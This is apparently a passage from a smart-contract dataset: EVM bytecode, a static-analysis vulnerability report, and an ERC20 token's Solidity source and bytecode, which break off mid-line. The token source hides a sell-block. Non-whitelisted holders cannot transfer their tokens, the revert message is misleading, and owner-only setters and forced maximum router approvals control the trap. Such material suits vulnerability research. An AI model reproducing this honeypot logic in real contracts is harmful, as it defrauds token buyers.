060405180910390f35b341561024957600080fd5b610275600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610abe565b005b341561028257600080fd5b61028a610bd7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102cd5780820151818401526020810190506102b2565b505050509050019250505060405180910390f35b34156102ec57600080fd5b6102f4610c6b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561034157600080fd5b610349610c90565b6040518082815260200191505060405180910390f35b341561036a57600080fd5b6103806004808035906020019091905050610d77565b005b341561038d57600080fd5b610395610ea5565b6040518082815260200191505060405180910390f35b34156103b657600080fd5b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eaf565b005b34156103ef57600080fd5b610424600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611004565b005b341561043157600080fd5b61044760048080359060200190919050506114a2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049457600080fd5b6104c0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114e1565b6040518082815260200191505060405180910390f35b34156104e157600080fd5b61056e600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506114f9565b005b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105eb57600080fd5b6105f4816106b8565b156106b5576000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f753f40ca3312b2408759a67875b367955e7baa221daf08aa3d643d96202ac12b81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b757600080fd5b339150600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561087f57600080fd5b6102c65a03f1151561089057600080fd5b5050506040518051905090506000811115610ab457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561097257600080fd5b6102c65a03f1151561098357600080fd5b5050506040518051905050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610a8f57600080fd5b6102c65a03f11515610aa057600080fd5b505050604051805190505060019250610ab9565b600092505b505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1957600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fad6de4452a631e641cb59902236607946ce9272b9b981f2f80e8d129cb9084ba81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610bdf61165a565b6008805480602002602001604051908101604052809291908181526020018280548015610c6157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610c17575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610d5757600080fd5b6102c65a03f11515610d6857600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610e2657600080fd5b7fc16974328ffcf9463697990f5485eb6b94d7c7b4f6128b76e646eb3560de81873360045483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a18060048190555050565b6000600254905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f4657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110ab5750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156110b657600080fd5b600354421180156110c8575060045442105b15156110d357600080fd5b6000831115156110e257600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156111a757600080fd5b6102c65a03f115156111b857600080fd5b5050506040518051905091508282101515156111d357600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112a057600080fd5b6102c65a03f115156112b157600080fd5b5050506040518051905015156112c657600080fd5b600880548060010182816112da919061166e565b9160005260206000209001600086909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600090506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113ce576113c783600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163c90919063ffffffff16565b90506113d2565b8290505b80600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142b8360025461163c90919063ffffffff16565b6002819055507f8c32c568416fcf97be35ce5b27844cfddcd63a67a1a602c3595ba5dac38f303a8484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b6008818154811015156114b157fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061159f5750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156115aa57600080fd5b600354421180156115bc575060045442105b15156115c757600080fd5b600083511180156115d9575081518351145b15156115e457600080fd5b600090505b82518110156116375761162a838281518110151561160357fe5b90602001906020020151838381518110151561161b57fe5b90602001906020020151611004565b80806001019150506115e9565b505050565b600080828401905083811015151561165057fe5b8091505092915050565b602060405190810160405280600081525090565b81548183558181151161169557818360005260206000209182019101611694919061169a565b5b505050565b6116bc91905b808211156116b85760008160009055506001016116a0565b5090565b905600a165627a7a7230582071d4bfd35c6e2a9f7992dba607067995111adfe28cad7142781f11ce06bf3aa70029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,658 |
0xd1f7c3bb4eb27fbb291cd62468854e6db84933af | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_RVF(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a03191